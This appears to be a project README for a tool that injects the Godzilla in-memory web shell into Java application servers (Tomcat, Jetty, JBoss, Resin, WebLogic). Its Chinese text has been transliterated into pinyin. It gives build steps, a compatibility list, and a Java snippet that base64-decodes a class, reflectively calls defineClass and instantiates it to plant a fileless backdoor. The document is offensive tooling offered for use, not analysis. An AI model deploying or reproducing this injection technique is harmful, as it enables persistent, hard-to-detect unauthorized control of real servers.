GodzillaMemoryShellProject
Ge Si La Nei Cun ShellXiang Mu
Dang Ni Yong You Yi Ge Ke Yi Jia Zai Ren Yi ClassDe Neng Li ,Ni Jiu Ke Yi Bian Yi Ci Xiang Mu ,Bian Yi Dui Ying Rong Qi De Class Dang ClassBei Jia Zai Zhi Hou ,Ni Jiang Huo De Yi Ge Ge Si La De Nei Cun shell,Ni Lian Jie Shi Ke Yi Tian Xie Ren Yi URILu Jing
Zi Mei Xiang Mu (.NET/IISNei Cun Shell):https://github.com/BeichenDream/GodzillaMemoryShellProject.NET/
1. Xuan Ze JDKBan Ben
2. Bian Yi Ci Xiang Mu
3. Zhao Dao Dui Ying Rong Qi Bian Yi Chu Lai De Class
4. Zai Yuan Cheng Jia Zai Gai Class
5. Huo De Nei Cun Shell
Mu Qian Zhi Chi Yi Xia Rong Qi Ji Hu Zhi Chi Rong Qi De Suo You Ban Ben (Huan Ying pullGeng Duo Rong Qi ),Ni Wu Xu Guan Zhu Shang Xia Wen ,Zhe Yi Qie Ge Si La Nei Cun ShellJiang Hui Zi Dong Sou Xun Bing Wan Cheng Zhu Ru Zai Zhe Ge Xiang Mu Ni Hui Kan Dao Hen Duo De Dong Tai Dai Li ,Zhe Shi Ge Si La Nei Cun ShellWei Liao Jian Rong javaxHe jakarta apiGui Fan
1. Tomcat 5 - 10
2. Jetty 7 - 11.0.11
3. JBoss 8 - 27.0.0
4. Resin 3 - 4.0.66
5. Weblogic 10.3.6 - weblogic 14
Ru He Diao Yong Ge Si La Nei Cun shell
//Ge Si La Nei Cun shellDe class Base64
String godzillaMemShellClassBase64 = "...........";
//base64 Jie Ma
byte[] classBytes = Base64.getDecoder().decode(godzillaMemShellClassBase64);
//Huo De Shang Xia Wen De ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
//Fan She Huo De defineClassFang Fa Yong Lai Ding Yi Class
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
//Shi De defineClassFang Fa Ke Fang Wen
defineClassMethod.setAccessible(true);
//Diao Yong defineClassFang Fa Cong classZi Jie Ma Chuang Jian Class
Class clazz = (Class) defineClassMethod.invoke(loader,classBytes,0,classBytes.length);
//Chuang Jian Ge Si La Nei Cun shellShi Li Ge Si La Nei Cun ShellZai Ci Chu Zi Dong Zhu Ru
clazz.newInstance();
Zhu Ru Nei Cun shell/Cha Zhao Shang Xia Wen Hen Man ?
Ke Yi Gen Ju Mu Biao Huan Jing Jian Xiao maxDetchDe Zhi